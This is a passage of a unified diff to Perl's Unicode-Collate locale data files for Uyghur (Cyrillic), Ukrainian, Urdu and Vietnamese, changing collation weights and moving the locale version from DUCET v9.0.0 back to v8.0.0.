[.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E31.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E31.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E31.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E31.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl b/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl index af42f2dbf3a2..e36b1e9b3c25 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ug_cyrl.pl @@ -1,7 +1,7 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -04D9 ; [.205B.0020.0002] # CYRILLIC SMALL LETTER SCHWA -04D8 ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER SCHWA + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +04D9 ; [.1FD6.0020.0002] # CYRILLIC SMALL LETTER SCHWA +04D8 ; [.1FD6.0020.0008] # CYRILLIC CAPITAL LETTER SCHWA ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/uk.pl b/cpan/Unicode-Collate/Collate/Locale/uk.pl index 37f1fcbd7418..87240c248bdf 100644 --- a/cpan/Unicode-Collate/Collate/Locale/uk.pl +++ b/cpan/Unicode-Collate/Collate/Locale/uk.pl @@ -1,14 +1,14 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0491 ; [.2037.0020.0002] # CYRILLIC SMALL LETTER GHE WITH UPTURN -0490 ; [.2037.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH UPTURN -A647 ; [.2089.0020.0002] # CYRILLIC SMALL LETTER IOTA -A646 ; [.2089.0020.0008] # CYRILLIC CAPITAL LETTER IOTA -0457 ; [.208A.0020.0002] # CYRILLIC SMALL LETTER YI -0456 0308 ; [.208A.0020.0002] # CYRILLIC SMALL LETTER YI -0407 ; [.208A.0020.0008] # CYRILLIC CAPITAL LETTER YI -0406 0308 ; [.208A.0020.0008] # CYRILLIC CAPITAL LETTER YI -A676 ; [.208A.0020.0004] # COMBINING CYRILLIC LETTER YI + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0491 ; [.1FB2.0020.0002] # CYRILLIC SMALL LETTER GHE WITH UPTURN +0490 ; [.1FB2.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH UPTURN +A647 ; [.2004.0020.0002] # CYRILLIC SMALL LETTER IOTA +A646 ; [.2004.0020.0008] # CYRILLIC CAPITAL LETTER IOTA +0457 ; [.2005.0020.0002] # CYRILLIC SMALL LETTER YI +0456 0308 ; [.2005.0020.0002] # CYRILLIC SMALL LETTER YI +0407 ; [.2005.0020.0008] # CYRILLIC CAPITAL LETTER YI +0406 0308 ; [.2005.0020.0008] # CYRILLIC CAPITAL LETTER YI +A676 ; [.2005.0020.0004] # COMBINING CYRILLIC LETTER YI ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ur.pl b/cpan/Unicode-Collate/Collate/Locale/ur.pl index 0801863f18c6..58e6822a1236 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ur.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ur.pl @@ -1,76 +1,76 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0623 ; [.230B.0021.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE -0627 0654 ; [.230B.0021.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE -0622 ; [.230C.0020.0002][.FFC0.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE -0627 0653 ; [.230C.0020.0002][.FFC0.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE -0628 ; [.230C.0020.0002][.FFC1.0000.0000] # ARABIC LETTER BEH -0628 06BE ; [.230C.0020.0002][.FFC2.0000.0000] # -067E ; [.230C.0020.0002][.FFC3.0000.0000] # ARABIC LETTER PEH -067E 06BE ; [.230C.0020.0002][.FFC4.0000.0000] # -062A ; [.230C.0020.0002][.FFC5.0000.0000] # ARABIC LETTER TEH -062A 06BE ; [.230C.0020.0002][.FFC6.0000.0000] # -0679 ; [.230C.0020.0002][.FFC7.0000.0000] # ARABIC LETTER TTEH -0679 06BE ; [.230C.0020.0002][.FFC8.0000.0000] # -062B ; [.230C.0020.0002][.FFC9.0000.0000] # ARABIC LETTER THEH -062C ; [.230C.0020.0002][.FFCA.0000.0000] # ARABIC LETTER JEEM -062C 06BE ; [.230C.0020.0002][.FFCB.0000.0000] # -0686 ; [.230C.0020.0002][.FFCC.0000.0000] # ARABIC LETTER TCHEH -0686 06BE ; [.230C.0020.0002][.FFCD.0000.0000] # -062D ; [.230C.0020.0002][.FFCE.0000.0000] # ARABIC LETTER HAH -062E ; [.230C.0020.0002][.FFCF.0000.0000] # ARABIC LETTER KHAH -062F ; [.230C.0020.0002][.FFD0.0000.0000] # ARABIC LETTER DAL -062F 06BE ; [.230C.0020.0002][.FFD1.0000.0000] # -0688 ; [.230C.0020.0002][.FFD2.0000.0000] # ARABIC LETTER DDAL -0688 06BE ; [.230C.0020.0002][.FFD3.0000.0000] # -0630 ; [.230C.0020.0002][.FFD4.0000.0000] # ARABIC LETTER THAL -0631 ; [.230C.0020.0002][.FFD5.0000.0000] # ARABIC LETTER REH -0631 06BE ; [.230C.0020.0002][.FFD6.0000.0000] # -0691 ; [.230C.0020.0002][.FFD7.0000.0000] # ARABIC LETTER RREH -0691 06BE ; [.230C.0020.0002][.FFD8.0000.0000] # -0632 ; [.230C.0020.0002][.FFD9.0000.0000] # ARABIC LETTER ZAIN -0698 ; [.230C.0020.0002][.FFDA.0000.0000] # ARABIC LETTER JEH -0633 ; [.230C.0020.0002][.FFDB.0000.0000] # ARABIC LETTER SEEN -0634 ; [.230C.0020.0002][.FFDC.0000.0000] # ARABIC LETTER SHEEN -0635 ; [.230C.0020.0002][.FFDD.0000.0000] # ARABIC LETTER SAD -0636 ; [.230C.0020.0002][.FFDE.0000.0000] # ARABIC LETTER DAD -0637 ; [.230C.0020.0002][.FFDF.0000.0000] # ARABIC LETTER TAH -0638 ; [.230C.0020.0002][.FFE0.0000.0000] # ARABIC LETTER ZAH -0639 ; [.230C.0020.0002][.FFE1.0000.0000] # ARABIC LETTER AIN -063A ; [.230C.0020.0002][.FFE2.0000.0000] # ARABIC LETTER GHAIN -0641 ; [.230C.0020.0002][.FFE3.0000.0000] # ARABIC LETTER FEH -0642 ; [.230C.0020.0002][.FFE4.0000.0000] # ARABIC LETTER QAF -06A9 ; [.230C.0020.0002][.FFE5.0000.0000] # ARABIC LETTER KEHEH -06A9 06BE ; [.230C.0020.0002][.FFE6.0000.0000] # -06AF ; [.230C.0020.0002][.FFE7.0000.0000] # ARABIC LETTER GAF -06AF 06BE ; [.230C.0020.0002][.FFE8.0000.0000] # -0644 ; [.230C.0020.0002][.FFE9.0000.0000] # ARABIC LETTER LAM -0644 06BE ; [.230C.0020.0002][.FFEA.0000.0000] # -0645 ; [.230C.0020.0002][.FFEB.0000.0000] # ARABIC LETTER MEEM -0645 06BE ; [.230C.0020.0002][.FFEC.0000.0000] # -0646 ; [.230C.0020.0002][.FFED.0000.0000] # ARABIC LETTER NOON -0646 06BE ; [.230C.0020.0002][.FFEE.0000.0000] # -06BA ; [.230C.0020.0002][.FFEF.0000.0000] # ARABIC LETTER NOON GHUNNA -06BA 06BE ; [.230C.0020.0002][.FFF0.0000.0000] # -0648 ; [.230C.0020.0002][.FFF1.0000.0000] # ARABIC LETTER WAW -0624 ; [.230C.0021.0002][.FFF1.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE -0648 0654 ; [.230C.0021.0002][.FFF1.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE -0648 06BE ; [.230C.0020.0002][.FFF2.0000.0000] # -06C1 ; [.230C.0020.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL -06C2 ; [.230C.0021.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE -06C1 0654 ; [.230C.0021.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE -06BE ; [.230C.0020.0002][.FFF4.0000.0000] # ARABIC LETTER HEH DOACHASHMEE -06C3 ; [.230C.0020.0002][.FFF5.0000.0000] # ARABIC LETTER TEH MARBUTA GOAL -0621 ; [.230C.0020.0002][.FFF6.0000.0000] # ARABIC LETTER HAMZA -06CC ; [.230C.0020.0002][.FFF7.0000.0000] # ARABIC LETTER FARSI YEH -0626 ; [.230C.0021.0002][.FFF7.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE -064A 0654 ; [.230C.0021.0002][.FFF7.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE -06CC 06BE ; [.230C.0020.0002][.FFF8.0000.0000] # -06D2 ; [.230C.0020.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE -06D3 ; [.230C.0021.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE -06D2 0654 ; [.230C.0021.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE -066E ; [.230C.0020.0002][.FFFA.0000.0000] # ARABIC LETTER DOTLESS BEH + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0623 ; [.2286.0021.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE +0627 0654 ; [.2286.0021.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE +0622 ; [.2287.0020.0002][.FFC0.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE +0627 0653 ; [.2287.0020.0002][.FFC0.0000.0000] # ARABIC LETTER ALEF WITH MADDA ABOVE +0628 ; [.2287.0020.0002][.FFC1.0000.0000] # ARABIC LETTER BEH +0628 06BE ; [.2287.0020.0002][.FFC2.0000.0000] # +067E ; [.2287.0020.0002][.FFC3.0000.0000] # ARABIC LETTER PEH +067E 06BE ; [.2287.0020.0002][.FFC4.0000.0000] # +062A ; [.2287.0020.0002][.FFC5.0000.0000] # ARABIC LETTER TEH +062A 06BE ; [.2287.0020.0002][.FFC6.0000.0000] # +0679 ; [.2287.0020.0002][.FFC7.0000.0000] # ARABIC LETTER TTEH +0679 06BE ; [.2287.0020.0002][.FFC8.0000.0000] # +062B ; [.2287.0020.0002][.FFC9.0000.0000] # ARABIC LETTER THEH +062C ; [.2287.0020.0002][.FFCA.0000.0000] # ARABIC LETTER JEEM +062C 06BE ; [.2287.0020.0002][.FFCB.0000.0000] # +0686 ; [.2287.0020.0002][.FFCC.0000.0000] # ARABIC LETTER TCHEH +0686 06BE ; [.2287.0020.0002][.FFCD.0000.0000] # +062D ; [.2287.0020.0002][.FFCE.0000.0000] # ARABIC LETTER HAH +062E ; [.2287.0020.0002][.FFCF.0000.0000] # ARABIC LETTER KHAH +062F ; [.2287.0020.0002][.FFD0.0000.0000] # ARABIC LETTER DAL +062F 06BE ; [.2287.0020.0002][.FFD1.0000.0000] # +0688 ; [.2287.0020.0002][.FFD2.0000.0000] # ARABIC LETTER DDAL +0688 06BE ; [.2287.0020.0002][.FFD3.0000.0000] # +0630 ; [.2287.0020.0002][.FFD4.0000.0000] # ARABIC LETTER THAL +0631 ; [.2287.0020.0002][.FFD5.0000.0000] # ARABIC LETTER REH +0631 06BE ; [.2287.0020.0002][.FFD6.0000.0000] # +0691 ; [.2287.0020.0002][.FFD7.0000.0000] # ARABIC LETTER RREH +0691 06BE ; [.2287.0020.0002][.FFD8.0000.0000] # +0632 ; [.2287.0020.0002][.FFD9.0000.0000] # ARABIC LETTER ZAIN +0698 ; [.2287.0020.0002][.FFDA.0000.0000] # ARABIC LETTER JEH +0633 ; [.2287.0020.0002][.FFDB.0000.0000] # ARABIC LETTER SEEN +0634 ; [.2287.0020.0002][.FFDC.0000.0000] # ARABIC LETTER SHEEN +0635 ; [.2287.0020.0002][.FFDD.0000.0000] # ARABIC LETTER SAD +0636 ; [.2287.0020.0002][.FFDE.0000.0000] # ARABIC LETTER DAD +0637 ; [.2287.0020.0002][.FFDF.0000.0000] # ARABIC LETTER TAH +0638 ; [.2287.0020.0002][.FFE0.0000.0000] # ARABIC LETTER ZAH +0639 ; [.2287.0020.0002][.FFE1.0000.0000] # ARABIC LETTER AIN +063A ; [.2287.0020.0002][.FFE2.0000.0000] # ARABIC LETTER GHAIN +0641 ; [.2287.0020.0002][.FFE3.0000.0000] # ARABIC LETTER FEH +0642 ; [.2287.0020.0002][.FFE4.0000.0000] # ARABIC LETTER QAF +06A9 ; [.2287.0020.0002][.FFE5.0000.0000] # ARABIC LETTER KEHEH +06A9 06BE ; [.2287.0020.0002][.FFE6.0000.0000] # +06AF ; [.2287.0020.0002][.FFE7.0000.0000] # ARABIC LETTER GAF +06AF 06BE ; [.2287.0020.0002][.FFE8.0000.0000] # +0644 ; [.2287.0020.0002][.FFE9.0000.0000] # ARABIC LETTER LAM +0644 06BE ; [.2287.0020.0002][.FFEA.0000.0000] # +0645 ; [.2287.0020.0002][.FFEB.0000.0000] # ARABIC LETTER MEEM +0645 06BE ; [.2287.0020.0002][.FFEC.0000.0000] # +0646 ; [.2287.0020.0002][.FFED.0000.0000] # ARABIC LETTER NOON +0646 06BE ; [.2287.0020.0002][.FFEE.0000.0000] # +06BA ; [.2287.0020.0002][.FFEF.0000.0000] # ARABIC LETTER NOON GHUNNA +06BA 06BE ; [.2287.0020.0002][.FFF0.0000.0000] # +0648 ; [.2287.0020.0002][.FFF1.0000.0000] # ARABIC LETTER WAW +0624 ; [.2287.0021.0002][.FFF1.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE +0648 0654 ; [.2287.0021.0002][.FFF1.0000.0000] # ARABIC LETTER WAW WITH HAMZA ABOVE +0648 06BE ; [.2287.0020.0002][.FFF2.0000.0000] # +06C1 ; [.2287.0020.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL +06C2 ; [.2287.0021.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE +06C1 0654 ; [.2287.0021.0002][.FFF3.0000.0000] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE +06BE ; [.2287.0020.0002][.FFF4.0000.0000] # ARABIC LETTER HEH DOACHASHMEE +06C3 ; [.2287.0020.0002][.FFF5.0000.0000] # ARABIC LETTER TEH MARBUTA GOAL +0621 ; [.2287.0020.0002][.FFF6.0000.0000] # ARABIC LETTER HAMZA +06CC ; [.2287.0020.0002][.FFF7.0000.0000] # ARABIC LETTER FARSI YEH +0626 ; [.2287.0021.0002][.FFF7.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE +064A 0654 ; [.2287.0021.0002][.FFF7.0000.0000] # ARABIC LETTER YEH WITH HAMZA ABOVE +06CC 06BE ; [.2287.0020.0002][.FFF8.0000.0000] # +06D2 ; [.2287.0020.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE +06D3 ; [.2287.0021.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE +06D2 0654 ; [.2287.0021.0002][.FFF9.0000.0000] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE +066E ; [.2287.0020.0002][.FFFA.0000.0000] # ARABIC LETTER DOTLESS BEH 0652 ; [.0000.0074.0002] # ARABIC SUKUN 064E ; [.0000.0075.0002] # ARABIC FATHA 0650 ; [.0000.0076.0002] # ARABIC KASRA diff --git a/cpan/Unicode-Collate/Collate/Locale/vi.pl b/cpan/Unicode-Collate/Collate/Locale/vi.pl index b269a1c303b3..351a052ea7d1 100644 --- a/cpan/Unicode-Collate/Collate/Locale/vi.pl +++ b/cpan/Unicode-Collate/Collate/Locale/vi.pl @@ -1,220 +1,220 @@ +{ - locale_version => 1.25, + locale_version => 1.19, # 0306 is not a Vietnamese tone, just to avoid \x{306} eq. to something. - entry => <<'ENTRY', # for DUCET v9.0.0 + entry => <<'ENTRY', # for DUCET v8.0.0 0309 ; [.0000.0026.0002][.0000.00F0.0000] # COMBINING HOOK ABOVE -1EA3 ; [.1C47.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH HOOK ABOVE -1EA2 ; [.1C47.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH HOOK ABOVE -1EBB ; [.1CAA.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER E WITH HOOK ABOVE -1EBA ; [.1CAA.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER E WITH HOOK ABOVE -1EC9 ; [.1D32.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER I WITH HOOK ABOVE -1EC8 ; [.1D32.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER I WITH HOOK ABOVE -1ECF ; [.1DDD.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH HOOK ABOVE -1ECE ; [.1DDD.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH HOOK ABOVE -1EE7 ; [.1EB5.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER U WITH HOOK ABOVE -1EE6 ; [.1EB5.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER U WITH HOOK ABOVE -1EF7 ; [.1F0B.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER Y WITH HOOK ABOVE -1EF6 ; [.1F0B.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER Y WITH HOOK ABOVE +1EA3 ; [.1BC2.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH HOOK ABOVE +1EA2 ; [.1BC2.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH HOOK ABOVE +1EBB ; [.1C25.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER E WITH HOOK ABOVE +1EBA ; [.1C25.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER E WITH HOOK ABOVE +1EC9 ; [.1CAD.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER I WITH HOOK ABOVE +1EC8 ; [.1CAD.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER I WITH HOOK ABOVE +1ECF ; [.1D58.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH HOOK ABOVE +1ECE ; [.1D58.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH HOOK ABOVE +1EE7 ; [.1E30.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER U WITH HOOK ABOVE +1EE6 ; [.1E30.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER U WITH HOOK ABOVE +1EF7 ; [.1E86.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER Y WITH HOOK ABOVE +1EF6 ; [.1E86.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER Y WITH HOOK ABOVE 0303 ; [.0000.0026.0002][.0000.00F1.0000] # COMBINING TILDE -00E3 ; [.1C47.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH TILDE -00C3 ; [.1C47.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH TILDE -1EBD ; [.1CAA.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER E WITH TILDE -1EBC ; [.1CAA.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER E WITH TILDE -0129 ; [.1D32.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER I WITH TILDE -0128 ; [.1D32.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER I WITH TILDE -00F5 ; [.1DDD.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH TILDE -00D5 ; [.1DDD.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH TILDE -0169 ; [.1EB5.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER U WITH TILDE -0168 ; [.1EB5.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER U WITH TILDE -1EF9 ; [.1F0B.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER Y WITH TILDE -1EF8 ; [.1F0B.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER Y WITH TILDE +00E3 ; [.1BC2.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH TILDE +00C3 ; [.1BC2.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH TILDE +1EBD ; [.1C25.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER E WITH TILDE +1EBC ; [.1C25.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER E WITH TILDE +0129 ; [.1CAD.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER I WITH TILDE +0128 ; [.1CAD.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER I WITH TILDE +00F5 ; [.1D58.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH TILDE +00D5 ; [.1D58.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH TILDE +0169 ; [.1E30.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER U WITH TILDE +0168 ; [.1E30.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER U WITH TILDE +1EF9 ; [.1E86.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER Y WITH TILDE +1EF8 ; [.1E86.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER Y WITH TILDE 0301 ; [.0000.0026.0002][.0000.00F2.0000] # COMBINING ACUTE ACCENT -00E1 ; [.1C47.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C47.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH ACUTE -00E9 ; [.1CAA.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CAA.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER E WITH ACUTE -00ED ; [.1D32.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER I WITH ACUTE -00CD ; [.1D32.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER I WITH ACUTE -00F3 ; [.1DDD.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDD.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH ACUTE -00FA ; [.1EB5.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER U WITH ACUTE -00DA ; [.1EB5.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER U WITH ACUTE -00FD ; [.1F0B.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER Y WITH ACUTE -00DD ; [.1F0B.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER Y WITH ACUTE +00E1 ; [.1BC2.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BC2.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH ACUTE +00E9 ; [.1C25.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C25.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER E WITH ACUTE +00ED ; [.1CAD.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER I WITH ACUTE +00CD ; [.1CAD.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER I WITH ACUTE +00F3 ; [.1D58.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D58.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH ACUTE +00FA ; [.1E30.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER U WITH ACUTE +00DA ; [.1E30.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER U WITH ACUTE +00FD ; [.1E86.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER Y WITH ACUTE +00DD ; [.1E86.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER Y WITH ACUTE 0341 ; [.0000.0026.0002][.0000.00F2.0000] # COMBINING ACUTE TONE MARK 0323 ; [.0000.0026.0002][.0000.00F3.0000] # COMBINING DOT BELOW -1EA1 ; [.1C47.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH DOT BELOW -1EA0 ; [.1C47.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH DOT BELOW -1EB9 ; [.1CAA.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER E WITH DOT BELOW -1EB8 ; [.1CAA.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER E WITH DOT BELOW -1ECB ; [.1D32.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER I WITH DOT BELOW -1ECA ; [.1D32.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER I WITH DOT BELOW -1ECD ; [.1DDD.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH DOT BELOW -1ECC ; [.1DDD.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH DOT BELOW -1EE5 ; [.1EB5.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER U WITH DOT BELOW -1EE4 ; [.1EB5.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER U WITH DOT BELOW -1EF5 ; [.1F0B.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER Y WITH DOT BELOW -1EF4 ; [.1F0B.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER Y WITH DOT BELOW +1EA1 ; [.1BC2.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH DOT BELOW +1EA0 ; [.1BC2.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH DOT BELOW +1EB9 ; [.1C25.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER E WITH DOT BELOW +1EB8 ; [.1C25.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER E WITH DOT BELOW +1ECB ; [.1CAD.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER I WITH DOT BELOW +1ECA ; [.1CAD.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER I WITH DOT BELOW +1ECD ; [.1D58.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH DOT BELOW +1ECC ; [.1D58.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH DOT BELOW +1EE5 ; [.1E30.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER U WITH DOT BELOW +1EE4 ; [.1E30.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER U WITH DOT BELOW +1EF5 ; [.1E86.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER Y WITH DOT BELOW +1EF4 ; [.1E86.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER Y WITH DOT BELOW 0306 ; [.0000.0026.0002][.0000.00F4.0000] # 